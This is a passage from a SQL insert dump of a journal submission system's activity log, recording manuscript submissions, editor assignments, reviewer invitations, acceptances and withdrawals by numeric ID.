00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(99582,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10275,'Publisher',274),(99583,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10275,'Publisher',274),(99584,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10275,'Publisher',274),(99585,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10342,'Publisher',274),(99586,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(99587,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(99588,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10366,'Publisher',274),(99589,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10409,'Publisher',48),(99590,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10409,'Publisher',48),(99591,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10409,'Publisher',48),(99592,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10409,'Publisher',48),(99594,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10409,'Publisher',48),(99595,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10413,'Publisher',48),(99597,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10413,'Publisher',48),(99599,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10413,'Publisher',48),(99600,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10413,'Publisher',48),(99601,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10413,'Publisher',48),(99637,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9084,'Publisher',1033),(99638,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10414,'Publisher',48),(99639,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10414,'Publisher',48),(99640,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10414,'Publisher',48),(99641,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10414,'Publisher',48),(99642,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10414,'Publisher',48),(99655,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10470,'Author',11121),(99675,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10474,'Publisher',84),(99679,'0000-00-00 00:00:00','Reviewer has submitted comments',9772,'Reviewer',17212),(99681,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9772,'Editor',1315),(99682,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9772,'Editor',1315),(99684,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9772,'Publisher',972),(99708,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10173,'Publisher',972),(99709,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10138,'Publisher',972),(99712,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10138,'Publisher',972),(99713,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10138,'Publisher',972),(99714,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10138,'Publisher',972),(99715,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10138,'Publisher',972),(99716,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10138,'Publisher',972),(99717,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10173,'Publisher',972),(99718,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10173,'Publisher',972),(99719,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10173,'Publisher',972),(99720,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10173,'Publisher',972),(99721,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10173,'Publisher',972),(99748,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10486,'Author',11133),(99758,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10493,'Author',11138),(99819,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',9775,'Publisher',84),(99820,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8914,'Publisher',84),(99821,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9944,'Publisher',84),(99822,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9944,'Publisher',84),(99823,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9944,'Publisher',84),(99826,'0000-00-00 00:00:00','Publisher : Notified Editor',9340,'Publisher',274),(99827,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9340,'Editor',1663),(99828,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9340,'Editor',1663),(99829,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9340,'Publisher',274),(99830,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9340,'Publisher',274),(99831,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',9277,'Publisher',274),(99864,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9772,'Editor',1315),(99865,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9772,'Publisher',972),(99881,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10315,'Editor',194),(99882,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10315,'Editor',194),(99883,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10308,'Editor',194),(99884,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10308,'Editor',194),(99885,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10299,'Editor',194),(99886,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10299,'Editor',194),(99887,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10298,'Editor',194),(99888,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10298,'Editor',194),(99889,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10346,'Editor',194),(99890,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10346,'Editor',194),(99891,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10346,'Publisher',48),(99892,'0000-00-00 00:00:00','Reviewer has submitted comments',10315,'Reviewer',11520),(99893,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10315,'Publisher',48),(99894,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10308,'Publisher',48),(99895,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10299,'Publisher',48),(99896,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10298,'Publisher',48),(99903,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9944,'Publisher',84),(99904,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9944,'Publisher',84),(99905,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9944,'Publisher',84),(99906,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9944,'Publisher',84),(99907,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9944,'Publisher',84),(99908,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9944,'Publisher',84),(99913,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10466,'',1216),(99917,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10454,'Publisher',988),(99918,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10454,'Publisher',988),(99919,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10454,'Publisher',988),(99920,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10454,'Publisher',988),(99929,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10509,'Publisher',376),(99930,'0000-00-00 00:00:00','Reviewer has submitted comments',10263,'Reviewer',11520),(99931,'0000-00-00 00:00:00','Reviewer has submitted comments',10263,'Reviewer',11520),(99955,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10252,'Editor',162),(99956,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10252,'Editor',162),(99957,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10252,'Publisher',75),(99958,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10263,'Publisher',48),(99965,'0000-00-00 00:00:00','Publisher : Notified Author',10368,'Publisher',85),(99966,'0000-00-00 00:00:00','Publisher : Notified Author',9517,'Publisher',85),(99967,'0000-00-00 00:00:00','Publisher : Notified Author',8594,'Publisher',85),(99978,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10523,'Author',11169),(99979,'0000-00-00 00:00:00','Reviewer has updated comments',10344,'Reviewer',20093),(99982,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10524,'Publisher',984),(99989,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10526,'Author',11172),(100014,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10527,'Publisher',984),(100015,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9980,'Editor',1406),(100016,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9980,'Editor',1406),(100017,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9980,'Publisher',984),(100041,'0000-00-00 00:00:00','Reviewer has updated comments',10344,'Reviewer',20093),(100042,'0000-00-00 00:00:00','Reviewer has submitted comments',9944,'Reviewer',11446),(100043,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9944,'Editor',222),(100044,'0000-00-00 00:00:00','Reviewer has updated comments',10344,'Reviewer',20093),(100045,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',10344,'Reviewer',20093),(100081,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8872,'Publisher',85),(100082,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8872,'Publisher',85),(100126,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9647,'Publisher',248),(100167,'0000-00-00 00:00:00','Publisher has been Assigned Editor',9269,'Publisher',1009),(100188,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9269,'Editor',1749),(100222,'0000-00-00 00:00:00','Editor has Invited Reviewer',9269,'Editor',1749),(100223,'0000-00-00 00:00:00','Editor has Invited Reviewer',9269,'Editor',1749),(100224,'0000-00-00 00:00:00','Editor has Invited Reviewer',9269,'Editor',1749),(100225,'0000-00-00 00:00:00','Editor has Invited Reviewer',9269,'Editor',1749),(100226,'0000-00-00 00:00:00','Editor has Invited Reviewer',9269,'Editor',1749),(100232,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9269,'Publisher',1009),(100233,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9269,'Publisher',1009),(100234,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9269,'Publisher',1009),(100235,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9269,'Publisher',1009),(100236,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9269,'Publisher',1009),(100253,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10588,'Author',11219),(100262,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10483,'Publisher',1009),(100263,'0000-00-00 00:00:00','Manuscript Updated',10483,'Publisher',1009),(100302,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(100304,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(100305,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(100306,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(100307,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(100308,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(100309,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(100311,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(100312,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(100313,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(100314,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(100316,'0000-00-00 00:00:00','Publisher : Notified Author',10368,'Publisher',85),(100317,'0000-00-00 00:00:00','Publisher : Notified Author',9517,'Publisher',85),(100318,'0000-00-00 00:00:00','Publisher : Notified Author',8594,'Publisher',85),(100332,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10452,'Publisher',274),(100363,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10597,'Publisher',248),(100368,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9472,'Editor',1665),(100369,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9472,'Editor',1665),(100371,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9472,'Editor',1665),(100372,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9472,'Editor',1665),(100373,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9472,'Publisher',274),(100374,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9472,'Publisher',274),(100381,'0000-00-00 00:00:00','Manuscript has been Revised',10368,'Author',11037),(100382,'0000-00-00 00:00:00','Author sent Email',10368,'Author',11037),(100385,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10602,'Author',11229),(100500,'0000-00-00 00:00:00','Publisher : Notified Editor',10368,'Publisher',85),(100501,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10368,'Editor',1343),(100664,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10620,'Publisher',85),(100725,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10486,'Publisher',48),(100743,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10628,'Author',11247),(100787,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9980,'Publisher',984),(100788,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8836,'Publisher',984),(100789,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10368,'Publisher',85),(100820,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10527,'Publisher',984),(100821,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10524,'Publisher',984),(100823,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10635,'Author',11250),(100856,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10602,'Publisher',988),(100857,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10602,'Publisher',988),(100858,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10602,'Publisher',988),(100859,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10602,'Publisher',988),(100862,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10483,'Publisher',1009),(100863,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10483,'Publisher',1009),(100864,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10483,'Publisher',1009),(100865,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10483,'Publisher',1009),(100866,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10483,'Publisher',1009),(100869,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10523,'Publisher',48),(100874,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10474,'Publisher',84),(100878,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10470,'Publisher',75),(100879,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10628,'Publisher',75),(100916,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10368,'Publisher',85),(100917,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10368,'Publisher',85),(100918,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10620,'Publisher',85),(100930,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10597,'Publisher',248),(100931,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10252,'Publisher',75),(100932,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10628,'Publisher',75),(100934,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10486,'Publisher',48),(100935,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10486,'Publisher',48),(100936,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10486,'Publisher',48),(100937,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10486,'Publisher',48),(100938,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10523,'Publisher',48),(100939,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10523,'Publisher',48),(100940,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10523,'Publisher',48),(100941,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10523,'Publisher',48),(100976,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10620,'Editor',1439),(100977,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10620,'Editor',1439),(100978,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10620,'Publisher',85),(100979,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10620,'Publisher',85),(101030,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10474,'Publisher',84),(101031,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10474,'Publisher',84),(101032,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10474,'Publisher',84),(101033,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10474,'Publisher',84),(101034,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10474,'Publisher',84),(101035,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10474,'Publisher',84),(101036,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10474,'Publisher',84),(101037,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10474,'Publisher',84),(101064,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10486,'Editor',194),(101065,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10486,'Editor',194),(101066,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10486,'Publisher',48),(101079,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9269,'Publisher',1009),(101080,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9269,'Publisher',1009),(101081,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9269,'Publisher',1009),(101110,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10509,'Publisher',376),(101112,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10665,'Publisher',48),(101166,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10588,'Publisher',84),(101167,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10526,'Publisher',84),(101211,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10674,'Author',11279),(101294,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10665,'Publisher',48),(101296,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10665,'Publisher',48),(101297,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10665,'Publisher',48),(101298,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10665,'Publisher',48),(101299,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10665,'Publisher',48),(101300,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10665,'Publisher',48),(101321,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10649,'',1216),(101322,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10648,'',1216),(101324,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10509,'Editor',1705),(101325,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10509,'Editor',1705),(101326,'0000-00-00 00:00:00','Reviewer has updated comments',10344,'Reviewer',20093),(101327,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10344,'Editor',1732),(101328,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10344,'Editor',1732),(101336,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10344,'Publisher',673),(101337,'0000-00-00 00:00:00','Reviewer has submitted comments',10466,'Reviewer',18830),(101366,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10697,'Author',11297),(101449,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10588,'Publisher',84),(101450,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10588,'Publisher',84),(101451,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10588,'Publisher',84),(101452,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10588,'Publisher',84),(101453,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10588,'Publisher',84),(101455,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10588,'Publisher',84),(101457,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10588,'Publisher',84),(101459,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10588,'Publisher',84),(101461,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10588,'Publisher',84),(101462,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10588,'Publisher',84),(101463,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10588,'Publisher',84),(101538,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10526,'Publisher',84),(101539,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10526,'Publisher',84),(101540,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10526,'Publisher',84),(101541,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10526,'Publisher',84),(101542,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10526,'Publisher',84),(101543,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10526,'Publisher',84),(101544,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10526,'Publisher',84),(101545,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10526,'Publisher',84),(101546,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10526,'Publisher',84),(101547,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10526,'Publisher',84),(101548,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10526,'Publisher',84),(101549,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10526,'Publisher',84),(101550,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10526,'Publisher',84),(101551,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10526,'Publisher',84),(101560,'0000-00-00 00:00:00','Reviewer has submitted comments',10265,'Reviewer',19964),(101561,'0000-00-00 00:00:00','Manuscript Updated',10344,'Publisher',673),(101606,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10708,'Publisher',85),(101611,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',10602,'Publisher',988),(101659,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10714,'Publisher',972),(101725,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10697,'Publisher',984),(101814,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10708,'Publisher',85),(101815,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10708,'Editor',1675),(101816,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10714,'Publisher',972),(101818,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10714,'Publisher',972),(101819,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10714,'Publisher',972),(101820,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10714,'Publisher',972),(101821,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10714,'Publisher',972),(101822,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10714,'Publisher',972),(101823,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10730,'Publisher',972),(101824,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10708,'Editor',1675),(101825,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10708,'Publisher',85),(101826,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10708,'Publisher',85),(101827,'0000-00-00 00:00:00','Publisher : Notified Author',9517,'Publisher',85),(101828,'0000-00-00 00:00:00','Publisher : Notified Author',8594,'Publisher',85),(101875,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10731,'Publisher',972),(101904,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10737,'Author',11327),(101907,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10738,'Author',11328),(101947,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10697,'Publisher',984),(101948,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10697,'Publisher',984),(101949,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10697,'Publisher',984),(101950,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10697,'Publisher',984),(101951,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10697,'Publisher',984),(101952,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10697,'Publisher',984),(101953,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10697,'Publisher',984),(101954,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10697,'Publisher',984),(101955,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10697,'Publisher',984),(101956,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10697,'Publisher',984),(101957,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10697,'Publisher',984),(101958,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10697,'Publisher',984),(101959,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10697,'Publisher',984),(101963,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10635,'Publisher',75),(101969,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10635,'Publisher',75),(101970,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10635,'Publisher',75),(101971,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10635,'Publisher',75),(101972,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10635,'Publisher',75),(101973,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10635,'Publisher',75),(101974,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10635,'Publisher',75),(101975,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10635,'Publisher',75),(101976,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10635,'Publisher',75),(101977,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10635,'Publisher',75),(101995,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10628,'Publisher',75),(101996,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10628,'Publisher',75),(101997,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10628,'Publisher',75),(101998,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10628,'Publisher',75),(101999,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10628,'Publisher',75),(102000,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10628,'Publisher',75),(102001,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10628,'Publisher',75),(102002,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10628,'Publisher',75),(102003,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10628,'Publisher',75),(102012,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10470,'Publisher',75),(102013,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10470,'Publisher',75),(102014,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10470,'Publisher',75),(102015,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10470,'Publisher',75),(102016,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10470,'Publisher',75),(102017,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10470,'Publisher',75),(102018,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10470,'Publisher',75),(102020,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10470,'Publisher',75),(102021,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10470,'Publisher',75),(102022,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10470,'Publisher',75),(102023,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10470,'Publisher',75),(102032,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10746,'Publisher',319),(102033,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10176,'Publisher',75),(102034,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10176,'Publisher',75),(102035,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10176,'Publisher',75),(102036,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10176,'Publisher',75),(102037,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10176,'Publisher',75),(102038,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10176,'Publisher',75),(102039,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10176,'Publisher',75),(102040,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10176,'Publisher',75),(102041,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10176,'Publisher',75),(102042,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10176,'Publisher',75),(102044,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10060,'Publisher',75),(102045,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10060,'Publisher',75),(102046,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10060,'Publisher',75),(102047,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10060,'Publisher',75),(102048,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10060,'Publisher',75),(102049,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10060,'Publisher',75),(102050,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10060,'Publisher',75),(102051,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10060,'Publisher',75),(102052,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10060,'Publisher',75),(102053,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10060,'Publisher',75),(102095,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10763,'Author',11341),(102183,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10763,'Publisher',988),(102184,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10763,'Publisher',988),(102185,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10763,'Publisher',988),(102186,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10763,'Publisher',988),(102196,'0000-00-00 00:00:00','Manuscript Submitted by Author using 